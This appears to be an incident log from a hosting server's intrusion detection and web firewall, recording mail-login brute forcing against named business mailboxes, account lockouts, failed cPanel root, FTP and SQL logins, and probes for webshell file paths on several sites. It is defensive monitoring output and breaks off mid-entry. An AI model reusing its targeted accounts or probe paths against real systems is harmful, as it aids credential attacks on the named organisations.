# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.115.14.2
country_id: 1668284
description:
2026-01-31 03:10:42 dovecot_login authenticator failed for H=(58-115-14-2.twt1.com.tw) [58.115.14.2]:39632: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.55.57
country_id: 1814991
description:
2026-01-31 03:11:35 dovecot_login authenticator failed for H=([119.6.55.57]) [119.6.55.57]:45584: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.228.134
country_id: 1269750
description:
2026-01-31 03:11:06 dovecot_login authenticator failed for H=(nsg-static-209.69.76.182-airtel.com) [128.185.228.134]:35784: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.58
country_id: 2017370
description:
2026-01-31 03:11:14 dovecot_login authenticator failed for H=([178.178.222.58]) [178.178.222.58]:33258: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:11:14 dovecot_login authenticator failed for H=(DBUpo1O1) [185.230.124.69]:59261: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.171.27.248
country_id: 1814991
description:
2026-01-31 03:11:21 dovecot_login authenticator failed for H=([116.171.27.248]) [116.171.27.248]:44424: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.236.91.182
country_id: 1694008
description:
2026-01-31 03:12:01 dovecot_login authenticator failed for H=([156.236.91.182]) [156.236.91.182]:51759: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.2.51.88
country_id: 1562822
description:
2026-01-31 03:11:55 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [117.2.51.88]:38573: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 86.111.91.69
country_id: 690791
description:
2026-01-31 03:11:05 dovecot_login authenticator failed for H=host-86-111-91-69.566f.la.net.ua [86.111.91.69]:63879: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:11:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:12:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:12:11 dovecot_login authenticator failed for H=(1LGFW5) [185.230.124.69]:60743: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.240.47.47
country_id: 2661886
domain: egbwawasan.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/egbwawasancom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:12:03 dovecot_login authenticator failed for H=(Ht76hQLMMu) [185.230.124.69]:50420: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.24.61.138
country_id: 99237
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=740138 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:13:21 dovecot_login authenticator failed for H=(VfKzYnDLD) [185.230.124.69]:57162: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-31 03:13:46 dovecot_login authenticator failed for H=(tLJXpRGC) [158.94.208.110]:60731: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.240.47.47
country_id: 2661886
domain: egbwawasan.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home2/egbwawasancom/public_html/wp-admin||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:13:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:14:05 dovecot_login authenticator failed for H=(M1iinc1me5) [185.230.124.69]:55528: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:14:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.173.10
country_id: 1269750
description:
2026-01-31 03:14:22 dovecot_login authenticator failed for H=(nsg-corporate-105.246.185.122.airtel.in) [122.187.173.10]:52696: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 34.76.134.123
country_id: 2802361
description:
Jan 31 03:14:57 sv3 pure-ftpd[3701363]: (?@34.76.134.123) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.1.110.201
country_id: 1562822
description:
2026-01-31 03:14:10 dovecot_login authenticator failed for H=([42.1.110.201]) [42.1.110.201]:46698: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-31 03:14:10 dovecot_login authenticator failed for H=(km3B80gfZ) [158.94.208.110]:64654: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.121.202.171
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.aoto.com.my/product-detail.php?id=6672338432 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:15:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:15:19 dovecot_login authenticator failed for H=(4kNUP2v46) [185.230.124.69]:57826: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: oxbold.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home/oxboldc/public_html/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-31 03:15:20 dovecot_login authenticator failed for H=(KhbKrDbzV) [158.94.208.110]:53753: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.185.18.67
country_id: 3469034
description:
2026-01-31 03:16:01 dovecot_login authenticator failed for H=([179.185.18.67]) [179.185.18.67]:50987: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:16:06 dovecot_login authenticator failed for H=(CjrbEwQH) [185.230.124.69]:52292: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-31 03:16:08 dovecot_login authenticator failed for H=(SjF9JsYrrg) [158.94.208.110]:53897: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.85.69.22
country_id: 2017370
description:
2026-01-31 03:16:54 dovecot_login authenticator failed for H=(22.69.85.194.in-addr.arpa) [194.85.69.22]:49538: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.212.110.237
country_id: 3144096
description:
2026-01-31 03:16:22 dovecot_login authenticator failed for H=(cm-46.212.110.237.get.no) [46.212.110.237]:37116: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:17:06 dovecot_login authenticator failed for H=(cIgBzTiG2o) [185.230.124.69]:63467: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-31 03:17:19 dovecot_login authenticator failed for H=(n0PO2kI554) [158.94.208.110]:64070: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.66.222
country_id: 2017370
description:
2026-01-31 03:17:03 dovecot_login authenticator failed for H=([31.173.66.222]) [31.173.66.222]:58930: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:17:32 dovecot_login authenticator failed for H=(JMoTgR) [185.230.124.69]:60095: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:18:24 dovecot_login authenticator failed for H=(jYTtVFYS1) [185.230.124.69]:51553: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-31 03:18:07 dovecot_login authenticator failed for H=(ibNW37) [158.94.208.110]:55711: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 176.120.22.61
country_id: 2017370
description:
2026-01-31  3:18:15 8322 [Warning] Aborted connection 8322 to db: 'unconnected' user: 'unauthenticated' host: '176.120.22.61' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:19:15 dovecot_login authenticator failed for H=(FrBKhM) [185.230.124.69]:57845: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 03:19:32 dovecot_login authenticator failed for H=(l8r5LA) [69.5.189.21]:64351: 535 Incorrect authentication data (set_id=rafidah@pspoly.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:19:58 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-31 03:19:17 dovecot_login authenticator failed for H=(ZTbfRM) [158.94.208.110]:50812: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.108.14.225
country_id: 1814991
description:
2026-01-31 03:19:55 dovecot_login authenticator failed for H=([202.108.14.226]) [202.108.14.225]:55816: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.70.26
country_id: 294640
description:
2026-01-31 03:20:02 dovecot_login authenticator failed for H=([2.55.70.26]) [2.55.70.26]:40238: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:20:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:20:18 dovecot_login authenticator failed for H=(Voqchw) [185.230.124.69]:58584: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 03:20:20 dovecot_login authenticator failed for H=(fLjUnH) [69.5.189.21]:55887: 535 Incorrect authentication data (set_id=rafidah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-31 03:20:05 dovecot_login authenticator failed for H=(ilbkudVvE) [158.94.208.110]:58401: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:21:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:21:10 dovecot_login authenticator failed for H=(RnehIX) [185.230.124.69]:57009: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 03:21:30 dovecot_login authenticator failed for H=(SuvPAY) [69.5.189.21]:51177: 535 Incorrect authentication data (set_id=rafidah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.100.99
country_id: 1814991
description:
2026-01-31 03:21:34 dovecot_login authenticator failed for H=([111.26.100.98]) [111.26.100.99]:48488: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.16.201.52
country_id: 1814991
description:
2026-01-31 03:21:55 dovecot_login authenticator failed for H=([58.16.201.52]) [58.16.201.52]:42104: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:22:01 dovecot_login authenticator failed for H=(MCN8SiTK) [185.230.124.69]:50573: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:22:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.94.66
country_id: 1269750
description:
2026-01-31 03:22:46 dovecot_login authenticator failed for H=([27.123.94.66]) [27.123.94.66]:49458: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.55.57
country_id: 1814991
description:
2026-01-31 03:22:56 dovecot_login authenticator failed for H=([119.6.55.57]) [119.6.55.57]:38350: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 03:22:17 dovecot_login authenticator failed for H=(bVC9X1) [69.5.189.21]:65196: 535 Incorrect authentication data (set_id=rafidah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-31 03:22:22 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:60734: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.140.123.244
country_id: 1269750
domain: printspecsolution.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/printspecsolutio/public_html/images||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:23:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 03:23:27 dovecot_login authenticator failed for H=(lvZuebrG) [69.5.189.21]:59179: 535 Incorrect authentication data (set_id=rafidah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:23:17 dovecot_login authenticator failed for H=(XaZeYCTE) [185.230.124.69]:60467: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:24:02 dovecot_login authenticator failed for H=(wbU2rPS) [185.230.124.69]:56592: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.127.150
country_id: 1269750
description:
2026-01-31 03:24:04 dovecot_login authenticator failed for H=(nsg-corporate-177.246.185.122.airtel.in) [122.184.127.150]:42272: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.164.13
country_id: 6252001
description:
2026-01-31 03:24:19 dovecot_login authenticator failed for H=([192.34.164.13]) [192.34.164.13]:46401: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.88.98.132
country_id: 6252001
description:
[2026-01-31 03:24:21 +0800] info [whostmgrd] 24.88.98.132 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.60.186
country_id: 1819730
description:
2026-01-31 03:24:59 dovecot_login authenticator failed for H=42-200-60-186.static.imsbiz.com [42.200.60.186]:62674: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:24:00 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 03:24:14 dovecot_login authenticator failed for H=(ACzU9j) [69.5.189.21]:50594: 535 Incorrect authentication data (set_id=rafidah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.226.255.240
country_id: 1835841
description:
2026-01-31 03:24:30 dovecot_login authenticator failed for H=([58.226.255.240]) [58.226.255.240]:3560: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:25:13 dovecot_login authenticator failed for H=(PmLwMKR) [185.230.124.69]:55370: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.113.185.14
country_id: 3469034
description:
2026-01-31 03:26:56 dovecot_login authenticator failed for H=([189.113.185.14]) [189.113.185.14]:47940: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-31 03:26:39 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:57458: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.7.40.134
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 35.216.189.16
country_id: 2658434
description:
2026-01-31  3:26:43 8603 [Warning] Aborted connection 8603 to db: 'unconnected' user: 'unauthenticated' host: '35.216.189.16' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 35.216.189.16
country_id: 2658434
description:
2026-01-31  3:26:46 8610 [Warning] Aborted connection 8610 to db: 'unconnected' user: 'unauthenticated' host: '35.216.189.16' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:26:05 dovecot_login authenticator failed for H=(nimYur) [185.230.124.69]:64162: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:27:11 dovecot_login authenticator failed for H=(wlLpLEjezZ) [185.230.124.69]:52811: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.183.44
country_id: 953987
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=340379 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.16.97.90
country_id: 3469034
description:
2026-01-31 03:27:46 dovecot_login authenticator failed for H=mvx-187-16-97-90.mundivox.com [187.16.97.90]:47680: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.104.142
country_id: 1269750
description:
2026-01-31 03:28:00 dovecot_login authenticator failed for H=([27.123.104.142]) [27.123.104.142]:50354: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.125.228.36
country_id: 2589581
description:
2026-01-31 03:28:16 dovecot_login authenticator failed for H=(ADMIN) [176.125.228.36]:21428: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:28:45 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:28:02 dovecot_login authenticator failed for H=(jOluvjesM) [185.230.124.69]:63721: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:29:14 dovecot_login authenticator failed for H=(pgBCGz) [185.230.124.69]:50217: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.244.152.136
country_id: 99237
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=9481 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:29:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.176.183
country_id: 1861060
domain: krisfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/krisfood/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.231.34
country_id: 1269750
description:
2026-01-31 03:30:30 dovecot_login authenticator failed for H=([203.145.159.97]) [182.95.231.34]:43798: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:30:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:30:04 dovecot_login authenticator failed for H=(FeymIY) [185.230.124.69]:60847: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.212.223.146
country_id: 1562822
description:
2026-01-31 03:30:39 dovecot_login authenticator failed for H=([125.212.223.146]) [125.212.223.146]:14157: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.140
country_id: 2635167
description:
2026-01-31  3:31:20 8767 [Warning] Aborted connection 8767 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.140' (This connection closed normally without authentication)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:31:32 dovecot_login authenticator failed for H=(tCBAQTF7) [185.230.124.69]:57225: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.79.177.234
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=501726 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:31:13 dovecot_login authenticator failed for H=(nHhtOQCNV) [185.230.124.69]:51747: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:32:24 dovecot_login authenticator failed for H=(Y064S5) [185.230.124.69]:63566: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:33:09 dovecot_login authenticator failed for H=(Aoo1PZfe5) [185.230.124.69]:54136: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.140
country_id: 2635167
description:
2026-01-31  3:33:09 8851 [Warning] Aborted connection 8851 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.140' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:34:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:34:26 dovecot_login authenticator failed for H=(ooZPo25o) [185.230.124.69]:65168: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.255.50
country_id: 1269750
description:
